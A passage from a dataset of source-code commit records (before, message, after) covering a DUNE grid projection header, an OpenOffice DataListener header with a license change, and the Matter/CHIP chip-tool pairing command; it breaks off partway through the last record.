return height;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n#define DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n\n#ifdef HAVE_CMAKE_CONFIG\n #include \"cmake_config.h\"\n#else\n #include \"config.h\"\n#endif \/\/ ifdef HAVE_CMAKE_CONFIG\n\n#include <vector>\n\n#if HAVE_DUNE_GEOMETRY\n#include <dune\/geometry\/referenceelements.hh>\n#else\n#include <dune\/grid\/common\/genericreferenceelements.hh>\n#endif\n\n#include <dune\/common\/shared_ptr.hh>\n#include <dune\/common\/fvector.hh>\n#include <dune\/grid\/common\/backuprestore.hh>\n#include <dune\/grid\/common\/grid.hh>\n#include <dune\/grid\/common\/gridview.hh>\n#include <dune\/grid\/common\/entity.hh>\n#include <dune\/stuff\/common\/ranges.hh>\n#include <dune\/stuff\/aliases.hh>\n#include <dune\/stuff\/fem\/namespace.hh>\n\n#ifdef HAVE_DUNE_FEM\n #include <dune\/fem\/function\/common\/discretefunction.hh>\n #include <dune\/fem\/quadrature\/cachingquadrature.hh>\n#endif\n\n#include <dune\/grid\/io\/file\/vtk\/function.hh>\n\n#include <boost\/range\/iterator_range.hpp>\n\nnamespace Dune {\nnamespace Stuff {\n\ntemplate <class ViewTraits>\nclass StrategyBase {\npublic:\n typedef typename ViewTraits::template Codim<0>::Entity EntityType;\n typedef typename EntityType::Geometry::LocalCoordinate LocalCoordinateType;\n typedef typename EntityType::Geometry::GlobalCoordinate GlobalCoordinateType;\n typedef std::vector<typename EntityType::EntityPointer> EntityPointerVector;\n};\n\ntemplate <class ViewTraits>\nclass InlevelSearchStrategy : public StrategyBase<ViewTraits> {\n typedef StrategyBase<ViewTraits> BaseType;\n typedef GenericReferenceElements< typename BaseType::LocalCoordinateType::value_type,\n BaseType::LocalCoordinateType::dimension >\n RefElementType;\n typedef typename Dune::GridView<ViewTraits>::template Codim< 0 >::Iterator IteratorType;\n\n\n inline bool check_add(const typename BaseType::EntityType& entity,\n const typename BaseType::GlobalCoordinateType& point,\n typename BaseType::EntityPointerVector& ret) const {\n const auto& geometry = entity.geometry();\n const auto& refElement = RefElementType::general(geometry.type());\n if(refElement.checkInside(geometry.local(point)))\n {\n ret.emplace_back(entity);\n return true;\n }\n return false;\n }\npublic:\n InlevelSearchStrategy(const Dune::GridView<ViewTraits>& gridview)\n : gridview_(gridview)\n , it_last_(gridview_.template begin< 0 >())\n {}\n\n template <class QuadpointContainerType>\n typename BaseType::EntityPointerVector operator() (const QuadpointContainerType& quad_points)\n {\n const auto max_size = quad_points.size();\n\n const IteratorType begin = gridview_.template begin< 0 >();\n const IteratorType end = gridview_.template end< 0 >();\n std::vector<typename BaseType::EntityType::EntityPointer> ret;\n for(const auto& point : quad_points)\n {\n IteratorType it_current = it_last_;\n bool it_reset = true;\n for(; it_current != end && ret.size() < max_size; ++it_current)\n {\n if(check_add(*it_current, point, ret)) {\n it_reset = false;\n it_last_ = it_current;\n break;\n }\n }\n if(!it_reset)\n continue;\n for(it_current = begin;\n it_current != it_last_ && ret.size() < max_size;\n ++it_current)\n {\n if(check_add(*it_current, point, ret)) {\n it_reset = false;\n it_last_ = it_current;\n break;\n }\n }\n assert(!it_reset);\n }\n return ret;\n }\n\nprivate:\n const Dune::GridView<ViewTraits>& gridview_;\n IteratorType it_last_;\n};\n\ntemplate <class ViewTraits>\nclass HierarchicSearchStrategy : public StrategyBase<ViewTraits> {\n typedef StrategyBase<ViewTraits> BaseType;\n\n const Dune::GridView<ViewTraits>& gridview_;\n const int start_level_;\n\npublic:\n HierarchicSearchStrategy(const Dune::GridView<ViewTraits>& gridview)\n : gridview_(gridview)\n , start_level_(0)\n {}\n\n template <class QuadpointContainerType>\n typename BaseType::EntityPointerVector\n operator() (const QuadpointContainerType& quad_points) const\n {\n auto level = std::min(gridview_.grid().maxLevel(), start_level_);\n auto range = DSC::viewRange(gridview_.grid().levelView(level));\n return process(quad_points, range);\n }\n\nprivate:\n\n template <class QuadpointContainerType, class RangeType>\n std::vector<typename BaseType::EntityType::EntityPointer>\n process(const QuadpointContainerType& quad_points,\n const RangeType& range) const\n {\n typedef GenericReferenceElements< typename BaseType::LocalCoordinateType::value_type,\n BaseType::LocalCoordinateType::dimension > RefElementType;\n std::vector<typename BaseType::EntityType::EntityPointer> ret;\n\n for(const auto& my_ent : range) {\n const int my_level = my_ent.level();\n const auto& geometry = my_ent.geometry();\n const auto& refElement = RefElementType::general(geometry.type());\n for(const auto& point : quad_points)\n {\n if(refElement.checkInside(geometry.local(point)))\n {\n \/\/if I cannot descend further add this entity even if it's not my view\n if(gridview_.grid().maxLevel() <= my_level || gridview_.contains(my_ent)) {\n ret.emplace_back(my_ent);\n }\n else {\n const auto h_end = my_ent.hend(my_level+1);\n const auto h_begin = my_ent.hbegin(my_level+1);\n const auto h_range = boost::make_iterator_range(h_begin, h_end);\n const auto kids = process(QuadpointContainerType(1, point), h_range);\n ret.insert(ret.end(), kids.begin(), kids.end());\n }\n }\n }\n }\n return ret;\n }\n};\n\ntemplate <template <class> class SearchStrategy = InlevelSearchStrategy>\nclass HeterogenousProjection\n{\npublic:\n#ifdef HAVE_DUNE_FEM\n template < class SourceDFImp, class TargetDFImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target)\n {\n typedef SearchStrategy<typename SourceDFImp::GridType::LeafGridView::Traits> SearchStrategyType;\n typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n typedef typename TargetDFImp::DofType TargetDofType;\n static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n const auto& space = target.space();\n const auto infinity = std::numeric_limits< TargetDofType >::infinity();\n\n \/\/ set all DoFs to infinity\n const auto dend = target.dend();\n for( auto dit = target.dbegin(); dit != dend; ++dit )\n *dit = infinity;\n\n SearchStrategyType search(source.gridPart().grid().leafView());\n const auto endit = space.end();\n for(auto it = space.begin(); it != endit ; ++it)\n {\n const auto& target_entity = *it;\n const auto& target_geometry = target_entity.geometry();\n auto target_local_function = target.localFunction(target_entity);\n const auto& target_lagrangepoint_set = space.lagrangePointSet(target_entity);\n const auto quadNop = target_lagrangepoint_set.nop();\n\n typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n\n std::vector<typename TargetDiscreteFunctionSpaceType::DomainType> global_quads(quadNop);\n for(size_t qP = 0; qP < quadNop ; ++qP) {\n global_quads[qP] = target_geometry.global(target_lagrangepoint_set.point(qP));\n }\n const auto evaluation_entities = search(global_quads);\n assert(evaluation_entities.size() == global_quads.size());\n\n int k = 0;\n for(size_t qP = 0; qP < quadNop ; ++qP)\n {\n if(std::isinf(target_local_function[ k ]))\n {\n const auto& global_point = global_quads[qP];\n \/\/ evaluate source function\n const auto source_entity = evaluation_entities[qP];\n const auto& source_geometry = source_entity->geometry();\n const auto& source_local_point = source_geometry.local(global_point);\n const auto& source_local_function = source.localFunction(*source_entity);\n source_local_function.evaluate(source_local_point, source_value);\n for(int i = 0; i < target_dimRange; ++i, ++k)\n target_local_function[k] = source_value[i];\n }\n else\n k += target_dimRange;\n }\n }\n } \/\/ ... project(...)\n#endif \/\/ HAVE_DUNE_FEM\n\n\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n<commit_msg>[discretefunction.projection] make use of grid.search<commit_after>#ifndef DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n#define DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n\n#include <dune\/common\/fvector.hh>\n#include <dune\/grid\/common\/backuprestore.hh>\n#include <dune\/grid\/common\/grid.hh>\n#include <dune\/grid\/common\/entity.hh>\n#include <dune\/stuff\/common\/ranges.hh>\n#include <dune\/stuff\/aliases.hh>\n#include <dune\/stuff\/fem\/namespace.hh>\n\n#ifdef HAVE_DUNE_FEM\n #include <dune\/fem\/function\/common\/discretefunction.hh>\n #include <dune\/fem\/quadrature\/cachingquadrature.hh>\n#endif\n\n#include <dune\/grid\/io\/file\/vtk\/function.hh>\n\n#include <dune\/stuff\/grid\/search.hh>\n\nnamespace Dune {\nnamespace Stuff {\n\n\n#ifdef HAVE_DUNE_FEM\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass HeterogenousProjection\n{\npublic:\n template < class SourceDFImp, class TargetDFImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target)\n {\n typedef SearchStrategy<typename SourceDFImp::GridType::LeafGridView> SearchStrategyType;\n typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n typedef typename TargetDFImp::DofType TargetDofType;\n static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n const auto& space = target.space();\n const auto infinity = std::numeric_limits< TargetDofType >::infinity();\n\n \/\/ set all DoFs to infinity\n const auto dend = target.dend();\n for( auto dit = target.dbegin(); dit != dend; ++dit )\n *dit = infinity;\n\n SearchStrategyType search(source.gridPart().grid().leafView());\n const auto endit = space.end();\n for(auto it = space.begin(); it != endit ; ++it)\n {\n const auto& target_entity = *it;\n const auto& target_geometry = target_entity.geometry();\n auto target_local_function = target.localFunction(target_entity);\n const auto& target_lagrangepoint_set = space.lagrangePointSet(target_entity);\n const auto quadNop = target_lagrangepoint_set.nop();\n\n typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n\n std::vector<typename TargetDiscreteFunctionSpaceType::DomainType> global_quads(quadNop);\n for(size_t qP = 0; qP < quadNop ; ++qP) {\n global_quads[qP] = target_geometry.global(target_lagrangepoint_set.point(qP));\n }\n const auto evaluation_entities = search(global_quads);\n assert(evaluation_entities.size() == global_quads.size());\n\n int k = 0;\n for(size_t qP = 0; qP < quadNop ; ++qP)\n {\n if(std::isinf(target_local_function[ k ]))\n {\n const auto& global_point = global_quads[qP];\n \/\/ evaluate source function\n const auto source_entity = evaluation_entities[qP];\n const auto& source_geometry = source_entity->geometry();\n const auto& source_local_point = source_geometry.local(global_point);\n const auto& source_local_function = source.localFunction(*source_entity);\n source_local_function.evaluate(source_local_point, source_value);\n for(int i = 0; i < target_dimRange; ++i, ++k)\n target_local_function[k] = source_value[i];\n }\n else\n k += target_dimRange;\n }\n }\n } \/\/ ... project(...)\n}; \/\/ class HeterogenousProjection\n#endif \/\/ HAVE_DUNE_FEM\n\n\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: datalistener.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: vg $ $Date: 2005-03-23 11:50:42 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _SVX_DATALISTENER_HXX\n#define _SVX_DATALISTENER_HXX\n\n#ifndef _CPPUHELPER_IMPLBASE3_HXX_\n#include <cppuhelper\/implbase3.hxx>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XCONTAINERLISTENER_HPP_\n#include <com\/sun\/star\/container\/XContainerListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XFRAMEACTIONLISTENER_HPP_\n#include <com\/sun\/star\/frame\/XFrameActionListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_XML_DOM_EVENTS_XEVENTLISTENER_HPP_\n#include <com\/sun\/star\/xml\/dom\/events\/XEventListener.hpp>\n#endif\n\n\/\/............................................................................\nnamespace svxform\n{\n\/\/............................................................................\n\n class DataNavigatorWindow;\n\n typedef cppu::WeakImplHelper3<\n com::sun::star::container::XContainerListener,\n com::sun::star::frame::XFrameActionListener,\n com::sun::star::xml::dom::events::XEventListener > DataListener_t;\n\n class DataListener : public DataListener_t\n {\n private:\n DataNavigatorWindow* m_pNaviWin;\n\n public:\n DataListener( DataNavigatorWindow* pNaviWin );\n\n protected:\n ~DataListener();\n\n public:\n \/\/ XContainerListener\n virtual void SAL_CALL elementInserted( const ::com::sun::star::container::ContainerEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n virtual void SAL_CALL elementRemoved( const ::com::sun::star::container::ContainerEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n virtual void SAL_CALL elementReplaced( const ::com::sun::star::container::ContainerEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ XFrameActionListener\n virtual void SAL_CALL frameAction( const ::com::sun::star::frame::FrameActionEvent& Action ) throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ xml::dom::events::XEventListener\n virtual void SAL_CALL handleEvent( const ::com::sun::star::uno::Reference< ::com::sun::star::xml::dom::events::XEvent >& evt ) throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ lang::XEventListener\n virtual void SAL_CALL disposing( const ::com::sun::star::lang::EventObject& Source ) throw (::com::sun::star::uno::RuntimeException);\n };\n\n\/\/............................................................................\n} \/\/ namespace svxform\n\/\/............................................................................\n\n#endif \/\/ #ifndef _SVX_DATALISTENER_HXX\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.3.252); FILE MERGED 2005\/09\/05 14:25:01 rt 1.3.252.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: datalistener.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 23:11:48 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _SVX_DATALISTENER_HXX\n#define _SVX_DATALISTENER_HXX\n\n#ifndef _CPPUHELPER_IMPLBASE3_HXX_\n#include <cppuhelper\/implbase3.hxx>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XCONTAINERLISTENER_HPP_\n#include <com\/sun\/star\/container\/XContainerListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XFRAMEACTIONLISTENER_HPP_\n#include <com\/sun\/star\/frame\/XFrameActionListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_XML_DOM_EVENTS_XEVENTLISTENER_HPP_\n#include <com\/sun\/star\/xml\/dom\/events\/XEventListener.hpp>\n#endif\n\n\/\/............................................................................\nnamespace svxform\n{\n\/\/............................................................................\n\n class DataNavigatorWindow;\n\n typedef cppu::WeakImplHelper3<\n com::sun::star::container::XContainerListener,\n com::sun::star::frame::XFrameActionListener,\n com::sun::star::xml::dom::events::XEventListener > DataListener_t;\n\n class DataListener : public DataListener_t\n {\n private:\n DataNavigatorWindow* m_pNaviWin;\n\n public:\n DataListener( DataNavigatorWindow* pNaviWin );\n\n protected:\n ~DataListener();\n\n public:\n \/\/ XContainerListener\n virtual void SAL_CALL elementInserted( const ::com::sun::star::container::ContainerEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n virtual void SAL_CALL elementRemoved( const ::com::sun::star::container::ContainerEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n virtual void SAL_CALL elementReplaced( const ::com::sun::star::container::ContainerEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ XFrameActionListener\n virtual void SAL_CALL frameAction( const ::com::sun::star::frame::FrameActionEvent& Action ) throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ xml::dom::events::XEventListener\n virtual void SAL_CALL handleEvent( const ::com::sun::star::uno::Reference< ::com::sun::star::xml::dom::events::XEvent >& evt ) throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ lang::XEventListener\n virtual void SAL_CALL disposing( const ::com::sun::star::lang::EventObject& Source ) throw (::com::sun::star::uno::RuntimeException);\n };\n\n\/\/............................................................................\n} \/\/ namespace svxform\n\/\/............................................................................\n\n#endif \/\/ #ifndef _SVX_DATALISTENER_HXX\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2020 Project CHIP Authors\n * All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"PairingCommand.h\"\n#include \"platform\/PlatformManager.h\"\n#include <controller\/ExampleOperationalCredentialsIssuer.h>\n#include <crypto\/CHIPCryptoPAL.h>\n#include <lib\/core\/CHIPSafeCasts.h>\n#include <lib\/support\/logging\/CHIPLogging.h>\n#include <protocols\/secure_channel\/PASESession.h>\n\n#include <setup_payload\/ManualSetupPayloadParser.h>\n#include <setup_payload\/QRCodeSetupPayloadParser.h>\n\nusing namespace ::chip;\nusing namespace ::chip::Controller;\n\nCHIP_ERROR PairingCommand::RunCommand()\n{\n CurrentCommissioner().RegisterPairingDelegate(this);\n return RunInternal(mNodeId);\n}\n\nCHIP_ERROR PairingCommand::RunInternal(NodeId remoteId)\n{\n CHIP_ERROR err = CHIP_NO_ERROR;\n\n switch (mPairingMode)\n {\n case PairingMode::None:\n err = Unpair(remoteId);\n break;\n case PairingMode::QRCode:\n err = PairWithCode(remoteId);\n break;\n case PairingMode::ManualCode:\n err = PairWithCode(remoteId);\n break;\n case PairingMode::QRCodePaseOnly:\n case PairingMode::ManualCodePaseOnly:\n err = PaseWithCode(remoteId);\n break;\n case PairingMode::Ble:\n err = Pair(remoteId, PeerAddress::BLE());\n break;\n case PairingMode::OnNetwork:\n err = PairWithMdns(remoteId);\n break;\n case PairingMode::SoftAP:\n err = Pair(remoteId, PeerAddress::UDP(mRemoteAddr.address, mRemotePort));\n break;\n case PairingMode::Ethernet:\n err = Pair(remoteId, PeerAddress::UDP(mRemoteAddr.address, mRemotePort));\n break;\n }\n\n return err;\n}\n\nCommissioningParameters PairingCommand::GetCommissioningParameters()\n{\n switch (mNetworkType)\n {\n case PairingNetworkType::WiFi:\n return CommissioningParameters().SetWiFiCredentials(Controller::WiFiCredentials(mSSID, mPassword));\n case PairingNetworkType::Thread:\n return CommissioningParameters().SetThreadOperationalDataset(mOperationalDataset);\n case PairingNetworkType::Ethernet:\n case PairingNetworkType::None:\n return CommissioningParameters();\n }\n return CommissioningParameters();\n}\n\nCHIP_ERROR PairingCommand::PaseWithCode(NodeId remoteId)\n{\n return CurrentCommissioner().EstablishPASEConnection(remoteId, mOnboardingPayload);\n}\n\nCHIP_ERROR PairingCommand::PairWithCode(NodeId remoteId)\n{\n CommissioningParameters commissioningParams = GetCommissioningParameters();\n return CurrentCommissioner().PairDevice(remoteId, mOnboardingPayload, commissioningParams);\n}\n\nCHIP_ERROR PairingCommand::Pair(NodeId remoteId, PeerAddress address)\n{\n RendezvousParameters params =\n RendezvousParameters().SetSetupPINCode(mSetupPINCode).SetDiscriminator(mDiscriminator).SetPeerAddress(address);\n CommissioningParameters commissioningParams = GetCommissioningParameters();\n return CurrentCommissioner().PairDevice(remoteId, params, commissioningParams);\n}\n\nCHIP_ERROR PairingCommand::PairWithMdns(NodeId remoteId)\n{\n Dnssd::DiscoveryFilter filter(mFilterType);\n switch (mFilterType)\n {\n case chip::Dnssd::DiscoveryFilterType::kNone:\n break;\n case chip::Dnssd::DiscoveryFilterType::kShortDiscriminator:\n case chip::Dnssd::DiscoveryFilterType::kLongDiscriminator:\n case chip::Dnssd::DiscoveryFilterType::kCompressedFabricId:\n case chip::Dnssd::DiscoveryFilterType::kVendorId:\n case chip::Dnssd::DiscoveryFilterType::kDeviceType:\n filter.code = mDiscoveryFilterCode;\n break;\n case chip::Dnssd::DiscoveryFilterType::kCommissioningMode:\n break;\n case chip::Dnssd::DiscoveryFilterType::kCommissioner:\n filter.code = 1;\n break;\n case chip::Dnssd::DiscoveryFilterType::kInstanceName:\n filter.code = 0;\n filter.instanceName = mDiscoveryFilterInstanceName;\n break;\n }\n\n CurrentCommissioner().RegisterDeviceDiscoveryDelegate(this);\n return CurrentCommissioner().DiscoverCommissionableNodes(filter);\n}\n\nCHIP_ERROR PairingCommand::Unpair(NodeId remoteId)\n{\n CHIP_ERROR err = CurrentCommissioner().UnpairDevice(remoteId);\n SetCommandExitStatus(err);\n return err;\n}\n\nvoid PairingCommand::OnStatusUpdate(DevicePairingDelegate::Status status)\n{\n switch (status)\n {\n case DevicePairingDelegate::Status::SecurePairingSuccess:\n ChipLogProgress(chipTool, \"Secure Pairing Success\");\n break;\n case DevicePairingDelegate::Status::SecurePairingFailed:\n ChipLogError(chipTool, \"Secure Pairing Failed\");\n break;\n }\n}\n\nvoid PairingCommand::OnPairingComplete(CHIP_ERROR err)\n{\n if (err == CHIP_NO_ERROR)\n {\n ChipLogProgress(chipTool, \"Pairing Success\");\n if (mPairingMode == PairingMode::QRCodePaseOnly || mPairingMode == PairingMode::ManualCodePaseOnly)\n {\n SetCommandExitStatus(err);\n }\n }\n else\n {\n ChipLogProgress(chipTool, \"Pairing Failure: %s\", ErrorStr(err));\n }\n\n if (err != CHIP_NO_ERROR)\n {\n SetCommandExitStatus(err);\n }\n}\n\nvoid PairingCommand::OnPairingDeleted(CHIP_ERROR err)\n{\n if (err == CHIP_NO_ERROR)\n {\n ChipLogProgress(chipTool, \"Pairing Deleted Success\");\n }\n else\n {\n ChipLogProgress(chipTool, \"Pairing Deleted Failure: %s\", ErrorStr(err));\n }\n\n SetCommandExitStatus(err);\n}\n\nvoid PairingCommand::OnCommissioningComplete(NodeId nodeId, CHIP_ERROR err)\n{\n if (err == CHIP_NO_ERROR)\n {\n ChipLogProgress(chipTool, \"Device commissioning completed with success\");\n }\n else\n {\n ChipLogProgress(chipTool, \"Device commissioning Failure: %s\", ErrorStr(err));\n }\n\n SetCommandExitStatus(err);\n}\n\nvoid PairingCommand::OnDiscoveredDevice(const chip::Dnssd::DiscoveredNodeData & nodeData)\n{\n const uint16_t port = nodeData.port;\n char buf[chip::Inet::IPAddress::kMaxStringLength];\n nodeData.ipAddress[0].ToString(buf);\n ChipLogProgress(chipTool, \"Discovered Device: %s:%u\", buf, port);\n\n \/\/ Stop Mdns discovery. Is it the right method ?\n CurrentCommissioner().RegisterDeviceDiscoveryDelegate(nullptr);\n\n Inet::InterfaceId interfaceId = nodeData.ipAddress[0].IsIPv6LinkLocal() ? nodeData.interfaceId : Inet::InterfaceId::Null();\n PeerAddress peerAddress = PeerAddress::UDP(nodeData.ipAddress[0], port, interfaceId);\n CHIP_ERROR err = Pair(mNodeId, peerAddress);\n if (CHIP_NO_ERROR != err)\n {\n SetCommandExitStatus(err);\n }\n}\n<commit_msg>[chip-tool] Filter out non-commissionable devices (#16221)<commit_after>\/*\n * Copyright (c) 2020 Project CHIP Authors\n * All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"PairingCommand.h\"\n#include \"platform\/PlatformManager.h\"\n#include <controller\/ExampleOperationalCredentialsIssuer.h>\n#include <crypto\/CHIPCryptoPAL.h>\n#include <lib\/core\/CHIPSafeCasts.h>\n#include <lib\/support\/logging\/CHIPLogging.h>\n#include <protocols\/secure_channel\/PASESession.h>\n\n#include <setup_payload\/ManualSetupPayloadParser.h>\n#include <setup_payload\/QRCodeSetupPayloadParser.h>\n\nusing namespace ::chip;\nusing namespace ::chip::Controller;\n\nCHIP_ERROR PairingCommand::RunCommand()\n{\n CurrentCommissioner().RegisterPairingDelegate(this);\n return RunInternal(mNodeId);\n}\n\nCHIP_ERROR PairingCommand::RunInternal(NodeId remoteId)\n{\n CHIP_ERROR err = CHIP_NO_ERROR;\n\n switch (mPairingMode)\n {\n case PairingMode::None:\n err = Unpair(remoteId);\n break;\n case PairingMode::QRCode:\n err = PairWithCode(remoteId);\n break;\n case PairingMode::ManualCode:\n err = PairWithCode(remoteId);\n break;\n case PairingMode::QRCodePaseOnly:\n case PairingMode::ManualCodePaseOnly:\n err = PaseWithCode(remoteId);\n break;\n case PairingMode::Ble:\n err = Pair(remoteId, PeerAddress::BLE());\n break;\n case PairingMode::OnNetwork:\n err = PairWithMdns(remoteId);\n break;\n case PairingMode::SoftAP:\n err = Pair(remoteId, PeerAddress::UDP(mRemoteAddr.address, mRemotePort));\n break;\n case PairingMode::Ethernet:\n err = Pair(remoteId, PeerAddress::UDP(mRemoteAddr.address, mRemotePort));\n break;\n }\n\n return err;\n}\n\nCommissioningParameters PairingCommand::GetCommissioningParameters()\n{\n switch (mNetworkType)\n {\n case PairingNetworkType::WiFi:\n return CommissioningParameters().SetWiFiCredentials(Controller::WiFiCredentials(mSSID, mPassword));\n case PairingNetworkType::Thread:\n return CommissioningParameters().SetThreadOperationalDataset(mOperationalDataset);\n case PairingNetworkType::Ethernet:\n case PairingNetworkType::None:\n return CommissioningParameters();\n }\n return CommissioningParameters();\n}\n\nCHIP_ERROR PairingCommand::PaseWithCode(NodeId remoteId)\n{\n return CurrentCommissioner().EstablishPASEConnection(remoteId, mOnboardingPayload);\n}\n\nCHIP_ERROR PairingCommand::PairWithCode(NodeId remoteId)\n{\n CommissioningParameters commissioningParams = GetCommissioningParameters();\n return CurrentCommissioner().PairDevice(remoteId, mOnboardingPayload, commissioningParams);\n}\n\nCHIP_ERROR PairingCommand::Pair(NodeId remoteId, PeerAddress address)\n{\n RendezvousParameters params =\n RendezvousParameters().SetSetupPINCode(mSetupPINCode).SetDiscriminator(mDiscriminator).SetPeerAddress(address);\n CommissioningParameters commissioningParams = GetCommissioningParameters();\n return CurrentCommissioner().PairDevice(remoteId, params, commissioningParams);\n}\n\nCHIP_ERROR PairingCommand::PairWithMdns(NodeId remoteId)\n{\n Dnssd::DiscoveryFilter filter(mFilterType);\n switch (mFilterType)\n {\n case chip::Dnssd::DiscoveryFilterType::kNone:\n break;\n case chip::Dnssd::DiscoveryFilterType::kShortDiscriminator:\n case chip::Dnssd::DiscoveryFilterType::kLongDiscriminator:\n case chip::Dnssd::DiscoveryFilterType::kCompressedFabricId:\n case chip::Dnssd::DiscoveryFilterType::kVendorId:\n case chip::Dnssd::DiscoveryFilterType::kDeviceType:\n filter.code = mDiscoveryFilterCode;\n break;\n case chip::Dnssd::DiscoveryFilterType::kCommissioningMode:\n break;\n case chip::Dnssd::DiscoveryFilterType::kCommissioner:\n filter.code = 1;\n break;\n case chip::Dnssd::DiscoveryFilterType::kInstanceName:\n filter.code = 0;\n filter.instanceName = mDiscoveryFilterInstanceName;\n break;\n }\n\n CurrentCommissioner().RegisterDeviceDiscoveryDelegate(this);\n return 